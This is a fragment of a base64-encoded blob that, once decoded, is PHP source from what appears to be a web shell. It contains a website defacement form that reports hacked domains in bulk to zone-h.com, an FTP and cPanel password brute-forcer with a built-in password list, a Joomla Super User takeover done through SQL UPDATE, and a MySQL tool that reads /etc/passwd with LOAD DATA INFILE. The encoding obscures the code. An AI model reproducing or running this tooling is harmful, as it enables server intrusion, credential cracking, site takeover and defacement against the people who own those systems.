vc3QiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZvcm1fYWN0aW9uIiB2YWx1ZT0iMSI+PGJyPmluZGV4IHVybDo8aW5wdXQgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgbmFtZT0iaW5kZXhhZHJlc2kiIHNpemU9IjMwIiB2YWx1ZT0iaHR0cDovL3NpdGUuY29tL2luZGV4Lmh0bWwiIC8+PGJyPjxicj48aW5wdXQgY2xhc3M9ImlucHV0emJ1dCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRGVmYWNlIiBuYW1lPSJTdWJtaXQiPjwvZm9ybT4gPC9kaXY+Jzt9ZWNobyAnPGRpdiBhbGlnbj0iY2VudGVyIj4nO2lmKCRfUE9TVFsnZm9ybV9hY3Rpb24nXSA9PSAxKSB7ZXhlY19tb2RlXzEoJF9QT1NUWydpbmRleGFkcmVzaSddKTt9ZWNobyAnPC9kaXY+PC9kaXY+PC9ib2R5PjwvaHRtbD4nO30NCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnem9uZS1oJykpeyRkZWZhY2VyPSdSZVpLMkxMJzskZGlzcGxheV9kZXRhaWxzPTA7JG1ldGhvZD0xNDskcmVhc29uPTU7DQplcnJvcl9yZXBvcnRpbmcoMCk7c2V0X3RpbWVfbGltaXQoMCk7aWYoIWZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0Jykpe2VjaG8gIkNVUkwgRVJST1JcbiI7ZXhpdDt9JGNsaT0oaXNzZXQoJGFyZ3ZbMF0pKT8xOjA7aWYoJGNsaT09MSl7JGZpbGU9JGFyZ3ZbMV07JHNpdGVzPWZpbGUoJGZpbGUpO2lmKCFmaWxlX2V4aXN0cygkZmlsZSkpe2VjaG8gIjxicj48YnI+PGNlbnRlcj48aDE+ZXJyb3IgITwvaDE+PC9jZW50ZXI+XG4iO2V4aXQ7fX1lbHNle2lmKGZ1bmN0aW9uX2V4aXN0cyhhcGFjaGVfc2V0ZW52KSl7QGFwYWNoZV9zZXRlbnYoJ25vLWd6aXAnLCAxKTt9QGluaV9zZXQoJ3psaWIub3V0cHV0X2NvbXByZXNzaW9uJywgMCk7QGluaV9zZXQoJ2ltcGxpY2l0X2ZsdXNoJywgMSk7QG9iX2ltcGxpY2l0X2ZsdXNoKHRydWUpO0BvYl9lbmRfZmx1c2goKTtpZihpc3NldCgkX1BPU1RbJ2RvbWFpbnMnXSkpeyRzaXRlcz1leHBsb2RlKCJcbiIsJF9QT1NUWydkb21haW5zJ10pO31pZiAoZmlsZV9leGlzdHMoJF9GSUxFU1siZmlsZSJdWyJ0bXBfbmFtZSJdKSl7JGZpbGU9JF9GSUxFU1siZmlsZSJdWyJ0bXBfbmFtZSJdOyRzaXRlcz1maWxlKCRmaWxlKTt9DQplY2hvIDw8PEVPRg0KPGRpdiBhbGlnbj0iY2VudGVyIj48dGFibGUgd2lkdGg9IjY3JSI+PHRyPjx0ZCBhbGlnbj1jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+PGJyPjxwcmU+DQpFT0Y7DQppZighaXNzZXQoJF9QT1NUWydkZWZhY2VyJ10pKXsNCmVjaG8gPDw8RU9GDQo8Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxkaXYgYWxpZ249J2NlbnRlcic+PHNwYW4gbGFuZz0nZW4tdXMnPjxiPkRlZmFjZXImbmJzcDs6PC9iPjwvc3Bhbj48aW5wdXQgY2xhc3M9J2lucHV0eicgbmFtZT0iZGVmYWNlciIgdHlwZT0idGV4dCIgdmFsdWU9IiRkZWZhY2VyIiAvPjxici8+PHRhYmxlIHdpZHRoPSc1NSUnPjx0cj48dGQgYWxpZ249J2NlbnRlcic+PHNwYW4gbGFuZz0nZW4tdXMnPjxiPkRvbWFpbnM6PC9iPjwvc3Bhbj48cCBhbGlnbj0nY2VudGVyJz4mbmJzcDs8dGV4dGFyZWEgcm93cz0nMzAnIG5hbWU9J2RvbWFpbnMnIGNvbHM9JzUwJyBjbGFzcz0naW5wdXR6Jz48L3RleHRhcmVhPjxici8+PHNwYW4gbGFuZz0nZW4tdXMnPjxiPk9SPC9iPjwvc3Bhbj48YnIvPlN1Ym1pdCBmb3JtIC50eHQgZmlsZTo8YnIvPjxpbnB1dCBuYW1lPSJmaWxlIiB0eXBlPSJmaWxlIiAvPjxicj48YnIvPjxici8+PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAgICBTZW5kICAgICcgbmFtZT0nc3VibWl0Jz48L3A+PC90ZD48L3RyPjwvdGFibGU+PC9mb3JtPg0KRU9GOw0KfQ0KJGRlZmFjZXI9JF9QT1NUWydkZWZhY2VyJ107fWlmKCEkc2l0ZXMpe2VjaG8gJzwvcHJlPic7ZXhpdDt9JHNpdGVzPWFycmF5X3VuaXF1ZShzdHJfcmVwbGFjZSgnaHR0cDovLycsJycsJHNpdGVzKSk7JHRvdGFsPWNvdW50KCRzaXRlcyk7ZWNobyAiWytdIFRvdGFsIHVuaXF1ZSBkb21haW46ICR0b3RhbFxuXG4iOyRwYXVzZT0xMDskc3RhcnQ9dGltZSgpOyRtYWluPWN1cmxfbXVsdGlfaW5pdCgpO2ZvcigkbT0wOyRtPDM7JG0rKyl7JGh0dHBbXSA9IGN1cmxfaW5pdCgpO31mb3IoJG49MDskbjwkdG90YWw7JG4gKz0zMCl7aWYoJGRpc3BsYXlfZGV0YWlscz09MSl7Zm9yKCR4PTA7JHg8MzA7JHgrKyl7ZWNobydbK10gQWRkaW5nICcucnRyaW0oJHNpdGVzWyRuKyR4XSkuJyc7ZWNobyAiXG4iO319JGQ9JG4rMzA7aWYoJGQ+JHRvdGFsKXskZD0kdG90YWw7fWVjaG8gIj09PT09PT09PT09PT09PT09PT09PT5bJGQvJHRvdGFsXVxuIjtmb3IoJHc9MDskdzwzOyR3KyspeyRwPSR3ICogMTA7DQppZighKGlzc2V0KCRzaXRlc1skbiskcF0pKSl7JHBhdXNlPSR3O2JyZWFrO30kcG9zdHNbJHddPSJkZWZhY2VyPSRkZWZhY2VyJmRvbWFpbjE9aHR0cCUzQSUyRiUyRiIucnRyaW0oJHNpdGVzWyRuKyRwXSkuIiZkb21haW4yPWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCsxXSkuIiZkb21haW4zPWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCsyXSkuIiZkb21haW40PWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCszXSkuIiZkb21haW41PWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCs0XSkuIiZkb21haW42PWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCs1XSkuIiZkb21haW43PWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCs2XSkuIiZkb21haW44PWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCs3XSkuIiZkb21haW45PWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCs4XSkuIiZkb21haW4xMD1odHRwJTNBJTJGJTJGIi5ydHJpbSgkc2l0ZXNbJG4rJHArOV0pLiImaGFja21vZGU9Ii4kbWV0aG9kLiImcmVhc29uPSIuJHJlYXNvbi4iJnN1Ym1pdD1TZW5kIjskY3VybG9wdD1hcnJheShDVVJMT1BUX1VTRVJBR0VOVCA9PiAnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xO1dPVzY0KSBBcHBsZVdlYktpdC81MzUuMTYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvMTguMC4xMDAzLjEgU2FmYXJpLzUzNS4xNicsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiA9PiB0cnVlLENVUkxPUFRfRk9MTE9XTE9DQVRJT04gPT50cnVlLENVUkxPUFRfRU5DT0RJTkcgPT4gdHJ1ZSxDVVJMT1BUX0hFQURFUiA9PiBmYWxzZSxDVVJMT1BUX0hUVFBIRUFERVIgPT4gYXJyYXkoIktlZXAtQWxpdmU6IDciKSxDVVJMT1BUX0NPTk5FQ1RUSU1FT1VUID0+IDMsQ1VSTE9QVF9VUkwgPT4gJ2h0dHA6Ly93d3cuem9uZS1oLmNvbS9ub3RpZnkvbWFzcycsQ1VSTE9QVF9QT1NURklFTERTID0+ICRwb3N0c1skd10pOw0KY3VybF9zZXRvcHRfYXJyYXkoJGh0dHBbJHddLCRjdXJsb3B0KTtjdXJsX211bHRpX2FkZF9oYW5kbGUoJG1haW4sJGh0dHBbJHddKTt9JHJ1bm5pbmcgPSBudWxsOw0KZG97Y3VybF9tdWx0aV9leGVjKCRtYWluLCRydW5uaW5nKTt9d2hpbGUoJHJ1bm5pbmcgPiAwKTsNCmZvcigkbT0wOyRtPDM7JG0rKyl7aWYoJHBhdXNlPT0kbSl7YnJlYWs7fQ0KY3VybF9tdWx0aV9yZW1vdmVfaGFuZGxlKCRtYWluLCAkaHR0cFskbV0pOyRjb2RlID0gY3VybF9nZXRpbmZvKCRodHRwWyRtXSwgQ1VSTElORk9fSFRUUF9DT0RFKTsNCmlmICgkY29kZSAhPSAyMDApIHt3aGlsZSh0cnVlKXtlY2hvJyBbLV1FcnJvciEuLi4uUmV0cnlpbmcnO2VjaG8gIlxuIjsNCnNsZWVwKDUpO2N1cmxfZXhlYygkaHR0cFskbV0pOyRjb2RlID0gY3VybF9nZXRpbmZvKCRodHRwWyRtXSwgQ1VSTElORk9fSFRUUF9DT0RFKTsNCmlmKCAkY29kZT09IDIwMCl7YnJlYWsgMTt9fX19fSRlbmQ9IHRpbWUoKSAtICRzdGFydDsNCmVjaG8gJ0RvbmUnO2VjaG8gIlxuXG5bKl1UaW1lOiAkZW5kIHNlY29uZHNcbiI7Y3VybF9tdWx0aV9jbG9zZSgkbWFpbik7aWYoJGNsaT09MCl7ZWNobyAnPC9wcmU+PC9ib2R5PjwvaHRtbD4nO31leGl0O30NCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnYnJ1dGUnKSl7JGNvbm5lY3RfdGltZW91dD01Ow0Kc2V0X3RpbWVfbGltaXQoMCk7JHN1Ym1pdD0kX1JFUVVFU1RbJ3N1Ym1pdCddOyR1c2Vycz0kX1JFUVVFU1RbJ3VzZXJzJ107JHBhc3M9JF9SRVFVRVNUWydwYXNzd29yZHMnXTskdGFyZ2V0PSRfUkVRVUVTVFsndGFyZ2V0J107JGNyYWNrdHlwZT0kX1JFUVVFU1RbJ2NyYWNrdHlwZSddOw0KaWYoJHRhcmdldCA9PSAiIil7JHRhcmdldCA9ICJsb2NhbGhvc3QiO30/PjxkaXYgYWxpZ249ImNlbnRlciI+PGZvcm0gbWV0aG9kPSJQT1NUIiBzdHlsZT0iYm9yZGVyOiAxcHggc29saWQgIzAwMDAwMCI+PGJyPjw/cGhwDQpmdW5jdGlvbiBmdHBfY2hlY2soJGhvc3QsJHVzZXIsJHBhc3MsJHRpbWVvdXQpew0KJGNoID0gY3VybF9pbml0KCk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgImZ0cDovLyRob3N0Iik7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEFVVEgsIENVUkxBVVRIX0JBU0lDKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRlRQTElTVE9OTFksIDEpO2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSUFdELCAiJHVzZXI6JHBhc3MiKTtjdXJsX3NldG9wdCAoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAkdGltZW91dCk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZBSUxPTkVSUk9SLCAxKTskZGF0YSA9IGN1cmxfZXhlYygkY2gpOw0KaWYgKCBjdXJsX2Vycm5vKCRjaCkgPT0gMjggKSB7cHJpbnQgIjxiPkNvbm5lY3Rpb24gVGltZWQgb3V0PC9iPiI7ZXhpdDt9DQplbHNlaWYgKCBjdXJsX2Vycm5vKCRjaCkgPT0gMCApe3ByaW50ICI8dGFibGUgd2lkdGg9JzY3JSc+PHRyPjx0ZCBhbGlnbj1jZW50ZXI+PGI+VXNlcm5hbWUgKCR1c2VyKSB8IFBhc3N3b3JkICgkcGFzcyk8L2I+PC90ZD48L3RyPjwvdGFibGU+Ijt9Y3VybF9jbG9zZSgkY2gpO30NCmZ1bmN0aW9uIGNwYW5lbF9jaGVjaygkaG9zdCwkdXNlciwkcGFzcywkdGltZW91dCl7JGNoID0gY3VybF9pbml0KCk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgImh0dHA6Ly8kaG9zdDoyMDgyIik7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEFVVEgsIENVUkxBVVRIX0JBU0lDKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUlBXRCwgIiR1c2VyOiRwYXNzIik7Y3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgJHRpbWVvdXQpO2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GQUlMT05FUlJPUiwgMSk7JGRhdGEgPSBjdXJsX2V4ZWMoJGNoKTsNCmlmICggY3VybF9lcnJubygkY2gpID09IDI4ICkge3ByaW50ICI8Yj5Db25uZWN0aW9uIFRpbWVkIG91dDwvYj4iO2V4aXQ7fQ0KZWxzZWlmICggY3VybF9lcnJubygkY2gpID09IDAgKXsNCnByaW50ICI8dGFibGUgd2lkdGg9JzY3JSc+PHRyPjx0ZCBhbGlnbj1jZW50ZXI+PGI+WytdVXNlcm5hbWUgKCR1c2VyKSB8IFBhc3N3b3JkICgkcGFzcyk8L2I+PC90ZD48L3RyPjwvdGFibGU+Ijt9Y3VybF9jbG9zZSgkY2gpO31pZihpc3NldCgkc3VibWl0KSAmJiAhZW1wdHkoJHN1Ym1pdCkpew0KaWYoZW1wdHkoJHVzZXJzKSAmJiBlbXB0eSgkcGFzcykpe3ByaW50ICI8cD48Yj5FcnJvciA6IENoZWNrIFRoZSBVc2VycyBhbmQgUGFzc3dvcmQgTGlzdDwvYj48L3A+IjtleGl0O30NCmlmKGVtcHR5KCR1c2Vycykpe3ByaW50ICI8cD48Yj5FcnJvciA6Q2hlY2sgVGhlIFVzZXJzIExpc3Q8L2I+PC9wPiI7ZXhpdDt9aWYoZW1wdHkoJHBhc3MpICl7cHJpbnQgIjxwPjxiPkVycm9yIDpDaGVjayBUaGUgUGFzc3dvcmQgTGlzdDwvYj48L3A+IjtleGl0O307DQokdXNlcmxpc3Q9ZXhwbG9kZSgiXG4iLCR1c2Vycyk7JHBhc3NsaXN0PWV4cGxvZGUoIlxuIiwkcGFzcyk7cHJpbnQgIjxiPlt+XSBXYWl0IC4uLjwvYj48YnI+PGJyPiI7Zm9yZWFjaCAoJHVzZXJsaXN0IGFzICR1c2VyKSB7JHB1cmV1c2VyID0gdHJpbSgkdXNlcik7Zm9yZWFjaCAoJHBhc3NsaXN0IGFzICRwYXNzd29yZCApIHskcHVyZXBhc3MgPSB0cmltKCRwYXNzd29yZCk7aWYoJGNyYWNrdHlwZSA9PSAiZnRwIil7ZnRwX2NoZWNrKCR0YXJnZXQsJHB1cmV1c2VyLCRwdXJlcGFzcywkY29ubmVjdF90aW1lb3V0KTt9aWYgKCRjcmFja3R5cGUgPT0gImNwYW5lbCIpe2NwYW5lbF9jaGVjaygkdGFyZ2V0LCRwdXJldXNlciwkcHVyZXBhc3MsJGNvbm5lY3RfdGltZW91dCk7fX19fSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQplY2hvICI8Zm9ybSBtZXRob2Q9UE9TVCBhY3Rpb249Jyc+PHRhYmxlIHdpZHRoPSc2NyUnPjx0cj48dGQ+PGJyPjxwIGFsaWduPSdjZW50ZXInPjxiPjxzcGFuIGxhbmc9J2VuLXVzJz5JUDwvc3Bhbj4gOjxpbnB1dCBjbGFzcz0naW5wdXR6JyB0eXBlPSd0ZXh0JyBuYW1lPSd0YXJnZXQnIHNpemU9JzE2JyB2YWx1ZT0kdGFyZ2V0PjwvYj48L3A+PGRpdiBhbGlnbj0nY2VudGVyJz48cCBhbGlnbj0nY2VudGVyJz51c2Vyczx0ZXh0YXJlYSBjbGFzcz0naW5wdXR6JyBjb2xzPTIwIHJvd3M9MjAgbmFtZT0ndXNlcnMnPiI7DQpzeXN0ZW0oJ2xzIC92YXIvbWFpbCcpOw0KZWNobyAiPC90ZXh0YXJlYT5wYXNzd29yZHM8dGV4dGFyZWEgY2xhc3M9J2lucHV0eicgY29scz0yMCByb3dzPTIwIG5hbWU9J3Bhc3N3b3Jkcyc+MTIzMTIzXG4xMjM0NTZcbjEyMzQ1NjdcbjEyMzQ1Njc4XG4xMjM0NTY3ODlcbjE1OTE1OVxuMTEyMjMzXG5hZG1pblxuMzMyMjExXG4xNDc4OTYzXG5wYXNzd29yZFxucGFzc3dkXG4xNTkzNTdcbjM1Nzk1MVxuMTE0NDc3XG5wYXNzXG5QYXNzd29yZDwvdGV4dGFyZWE+PGJyPjxicj48aW5wdXQgbmFtZT0nY3JhY2t0eXBlJyB2YWx1ZT0nY3BhbmVsJyBjaGVja2VkIHR5cGU9J3JhZGlvJz48L3NwYW4+PGI+Q3BhbmVsKDIwODIpPC9iPjxpbnB1dCBuYW1lPSdjcmFja3R5cGUnIHZhbHVlPSdmdHAnIHN0eWxlPSdmb250LXdlaWdodDogNzAwOycgdHlwZT0ncmFkaW8nPjwvZm9udD48L2ZvbnQ+PGZvbnQgc3R5bGU9J2ZvbnQtd2VpZ2h0OiA3MDA7JyBzaXplPScyJyBmYWNlPSdUYWhvbWEnPjxzcGFuIHN0eWxlPSdmb250LXdlaWdodDogNzAwOyc+RnRwICgyMSk8L3NwYW4+PC9wPjxicj48Y2VudGVyPjxpbnB1dCBjbGFzcz0naW5wdXR6YnV0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdTdGFydCBDcmFja2luZycgbmFtZT0nc3VibWl0Jz48L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT48L3RkPjwvdHI+PC9mb3JtPiI7ZGllKCk7fQ0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdqb29tbGEnKSl7aWYoZW1wdHkoJF9QT1NUWydwd2QnXSkpe2VjaG8gIjxicj48YnI+PGJyPjxGT1JNIG1ldGhvZD0nUE9TVCc+PGJyPjxicj48YnI+REJfUHJlZml4IDombmJzcDsmbmJzcDs8SU5QVVQgY2xhc3MgPSdpbnB1dHonIHNpemU9JzE1JyB2YWx1ZT0nam9zXycgbmFtZT0ncHJlZml4JyB0eXBlPSd0ZXh0Jz4mbmJzcDtob3N0IDombmJzcDsmbmJzcDs8SU5QVVQgY2xhc3MgPSdpbnB1dHonIHNpemU9JzE1JyB2YWx1ZT0nbG9jYWxob3N0JyBuYW1lPSdsb2NhbGhvc3QnIHR5cGU9J3RleHQnPiZuYnNwO2RhdGFiYXNlIDombmJzcDsmbmJzcDs8SU5QVVQgY2xhc3MgPSdpbnB1dHonIHNpemU9JzE1JyB2YWx1ZT0nZGF0YWJhc2UnIG5hbWU9J2RhdGFiYXNlJyB0eXBlPSd0ZXh0Jz4mbmJzcDt1c2VybmFtZSA6Jm5ic3A7Jm5ic3A7PElOUFVUIGNsYXNzID0naW5wdXR6JyBzaXplPScxNScgdmFsdWU9J2RiX3VzZXInIG5hbWU9J3VzZXJuYW1lJyB0eXBlPSd0ZXh0Jz4mbmJzcDtwYXNzd29yZCA6Jm5ic3A7Jm5ic3A7PElOUFVUIGNsYXNzID0naW5wdXR6JyBzaXplPScxNScgdmFsdWU9J2RiX3Bhc3MnIG5hbWU9J3Bhc3N3b3JkJyB0eXBlPSd0ZXh0Jz48YnI+Jm5ic3A7Jm5ic3A7PGJyPk5ldyBVc2VybmFtZTombmJzcDsmbmJzcDs8SU5QVVQgY2xhc3MgPSdpbnB1dHonIG5hbWU9J2FkbWluJyBzaXplPScxNScgdmFsdWU9J2syJz48YnI+PGJyPk5ldyBQYXNzd29yZDombmJzcDsmbmJzcDs8SU5QVVQgY2xhc3MgPSdpbnB1dHonIG5hbWU9J3B3ZCcgc2l6ZT0nMTUnIHZhbHVlPScxMjMxMjMnPjxicj48YnI+Jm5ic3A7Jm5ic3A7PElOUFVUIHZhbHVlPSdjaGFuZ2UnIGNsYXNzPSdpbnB1dHpidXQnIG5hbWU9J3NlbmQnIHR5cGU9J3N1Ym1pdCc+PC9GT1JNPiI7fWVsc2UgeyRwcmVmaXggPSAkX1BPU1RbJ3ByZWZpeCddOyRsb2NhbGhvc3QgPSAkX1BPU1RbJ2xvY2FsaG9zdCddOyRkYXRhYmFzZSAgPSAkX1BPU1RbJ2RhdGFiYXNlJ107JHVzZXJuYW1lICA9ICRfUE9TVFsndXNlcm5hbWUnXTskcGFzc3dvcmQgID0gJF9QT1NUWydwYXNzd29yZCddOyRhZG1pbiA9ICRfUE9TVFsnYWRtaW4nXTskcGQgPSAoJF9QT1NUWyJwd2QiXSk7JHB3ZCA9IG1kNSgkcGQpO0BteXNxbF9jb25uZWN0KCRsb2NhbGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCkgb3IgZGllIChteXNxbF9lcnJvcigpKTtAbXlzcWxfc2VsZWN0X2RiKCRkYXRhYmFzZSkgb3IgZGllIChteXNxbF9lcnJvcigpKTskU1FMPUBteXNxbF9xdWVyeSgiVVBEQVRFICIuJHByZWZpeC4idXNlcnMgU0VUIHVzZXJuYW1lID0nIi4kYWRtaW4uIicgV0hFUkUgbmFtZSA9ICdTdXBlciBVc2VyJyBvciBuYW1lID0gJ1N1cGVyIFV0aWxpc2F0ZXVyJyBvciBpZD0nNjInIikgb3IgZGllIChteXNxbF9lcnJvcigpKTskU1FMPUBteXNxbF9xdWVyeSgiVVBEQVRFICIuJHByZWZpeC4idXNlcnMgU0VUIHBhc3N3b3JkID0nIi4kcHdkLiInIFdIRVJFIG5hbWUgPSAnU3VwZXIgVXNlcicgb3IgbmFtZSA9ICdTdXBlciBVdGlsaXNhdGV1cicgb3IgaWQ9JzYyJyIpIG9yIGRpZSAobXlzcWxfZXJyb3IoKSk7aWYoJFNRTCkgZWNobyAiPGJyPjxicj48Y2VudGVyPjxoMT5Eb25lLi4uIGdvIGFuZCBsb2dpbjwvaDE+PC9jZW50ZXI+Ijt9fQ0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdteXNxbCcpKXtpZihpc3NldCgkX0dFVFsnc3FsaG9zdCddKSAmJiBpc3NldCgkX0dFVFsnc3FsdXNlciddKSAmJiBpc3NldCgkX0dFVFsnc3FscGFzcyddKSAmJiBpc3NldCgkX0dFVFsnc3FscG9ydCddKSl7JHNxbGhvc3QgPSAkX0dFVFsnc3FsaG9zdCddOyRzcWx1c2VyID0gJF9HRVRbJ3NxbHVzZXInXTskc3FscGFzcyA9ICRfR0VUWydzcWxwYXNzJ107JHNxbHBvcnQgPSAkX0dFVFsnc3FscG9ydCddO2lmKCRjb24gPSBAbXlzcWxfY29ubmVjdCgkc3FsaG9zdC4iOiIuJHNxbHBvcnQsJHNxbHVzZXIsJHNxbHBhc3MpKXskbXNnIC49ICI8ZGl2IHN0eWxlPSd3aWR0aDo5OSU7cGFkZGluZzo0cHggMTBweCAwIDEwcHg7Jz4iOyRtc2cgLj0gIjxwPkNvbm5lY3RlZCB0byAiLiRzcWx1c2VyLiI8c3BhbiBjbGFzcz0nZ2F5YSc+QDwvc3Bhbj4iLiRzcWxob3N0LiI6Ii4kc3FscG9ydDskbXNnIC49ICImbmJzcDsmbmJzcDs8c3BhbiBjbGFzcz0nZ2F5YSc+LSZndDs8L3NwYW4+Jm5ic3A7Jm5ic3A7PGEgaHJlZj0nP3k9Ii4kcHdkLiImYW1wO3g9bXlzcWwmYW1wO3NxbGhvc3Q9Ii4kc3FsaG9zdC4iJmFtcDtzcWx1c2VyPSIuJHNxbHVzZXIuIiZhbXA7c3FscGFzcz0iLiRzcWxwYXNzLiImYW1wO3NxbHBvcnQ9Ii4kc3FscG9ydC4iJmFtcDsnPlsgZGF0YWJhc2VzIF08L2E+IjsNCmlmKGlzc2V0KCRfR0VUWydkYiddKSkgJG1zZyAuPSAiJm5ic3A7Jm5ic3A7PHNwYW4gY2xhc3M9J2dheWEnPi0mZ3Q7PC9zcGFuPiZuYnNwOyZuYnNwOzxhIGhyZWY9Jz95PSIuJHB3ZC4iJmFtcDt4PW15c3FsJmFtcDtzcWxob3N0PSIuJHNxbGhvc3QuIiZhbXA7c3FsdXNlcj0iLiRzcWx1c2VyLiImYW1wO3NxbHBhc3M9Ii4kc3FscGFzcy4iJmFtcDtzcWxwb3J0PSIuJHNxbHBvcnQuIiZhbXA7ZGI9Ii4kX0dFVFsnZGInXS4iJz4iLmh0bWxzcGVjaWFsY2hhcnMoJF9HRVRbJ2RiJ10pLiI8L2E+IjsNCmlmKGlzc2V0KCRfR0VUWyd0YWJsZSddKSkgJG1zZyAuPSAiJm5ic3A7Jm5ic3A7PHNwYW4gY2xhc3M9J2dheWEnPi0mZ3Q7PC9zcGFuPiZuYnNwOyZuYnNwOzxhIGhyZWY9Jz95PSIuJHB3ZC4iJmFtcDt4PW15c3FsJmFtcDtzcWxob3N0PSIuJHNxbGhvc3QuIiZhbXA7c3FsdXNlcj0iLiRzcWx1c2VyLiImYW1wO3NxbHBhc3M9Ii4kc3FscGFzcy4iJmFtcDtzcWxwb3J0PSIuJHNxbHBvcnQuIiZhbXA7ZGI9Ii4kX0dFVFsnZGInXS4iJmFtcDt0YWJsZT0iLiRfR0VUWyd0YWJsZSddLiInPiIuaHRtbHNwZWNpYWxjaGFycygkX0dFVFsndGFibGUnXSkuIjwvYT4iOyRtc2cgLj0gIjwvcD48cD52ZXJzaW9uIDogIi5teXNxbF9nZXRfc2VydmVyX2luZm8oJGNvbikuIiBwcm90byAiLm15c3FsX2dldF9wcm90b19pbmZvKCRjb24pLiI8L3A+IjskbXNnIC49ICI8L2Rpdj4iO2VjaG8gJG1zZzsNCmlmKGlzc2V0KCRfR0VUWydkYiddKSAmJiAoIWlzc2V0KCRfR0VUWyd0YWJsZSddKSkgJiYgKCFpc3NldCgkX0dFVFsnc3FscXVlcnknXSkpKXskZGIgPSAkX0dFVFsnZGInXTskcXVlcnkgPSAiRFJPUCBUQUJMRSBJRiBFWElTVFMgYjM3NGtfdGFibGU7XG5DUkVBVEUgVEFCTEUgYGIzNzRrX3RhYmxlYCAoIGBmaWxlYCBMT05HQkxPQiBOT1QgTlVMTCApO1xuTE9BRCBEQVRBIElORklMRSAnL2V0Yy9wYXNzd2QnXG5JTlRPIFRBQkxFIGIzNzRrX3RhYmxlO1NFTEVDVCAqIEZST00gYjM3NGtfdGFibGU7XG5EUk9QIFRBQkxFIElGIEVYSVNUUyBiMzc0a190YWJsZTsiOyRtc2cgPSAiPGRpdiBzdHlsZT0nd2lkdGg6OTklO3BhZGRpbmc6MCAxMHB4Oyc+PGZvcm0gYWN0aW9uPSc/JyBtZXRob2Q9J2dldCc+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0neScgdmFsdWU9JyIuJHB3ZC4iJyAvPiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd4JyB2YWx1ZT0nbXlzcWwnIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbGhvc3QnIHZhbHVlPSciLiRzcWxob3N0LiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbHVzZXInIHZhbHVlPSciLiRzcWx1c2VyLiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbHBvcnQnIHZhbHVlPSciLiRzcWxwb3J0LiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbHBhc3MnIHZhbHVlPSciLiRzcWxwYXNzLiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2RiJyB2YWx1ZT0nIi4kZGIuIicgLz4gPHA+PHRleHRhcmVhIG5hbWU9J3NxbHF1ZXJ5JyBjbGFzcz0nb3V0cHV0JyBzdHlsZT0nd2lkdGg6OTglO2hlaWdodDo4MHB4Oyc+JHF1ZXJ5PC90ZXh0YXJlYT48L3A+IDxwPjxpbnB1dCBjbGFzcz0naW5wdXR6YnV0JyBzdHlsZT0nd2lkdGg6ODBweDsnIG5hbWU9J3N1Ym1pdHF1ZXJ5JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdHbyAhJyAvPjwvcD4gPC9mb3JtPjwvZGl2PiAiOyR0YWJsZXMgPSBhcnJheSgpOyRtc2cgLj0gIjx0YWJsZSBjbGFzcz0nZXhwbG9yZScgc3R5bGU9J3dpZHRoOjk5JTsnPjx0cj48dGg+YXZhaWxhYmxlIHRhYmxlcyBvbiAiLiRkYi4iPC90aD48L3RyPiI7JGhhc2lsID0gQG15c3FsX2xpc3RfdGFibGVzKCRkYiwkY29uKTsNCndoaWxlKGxpc3QoJHRhYmxlKSA9IEBteXN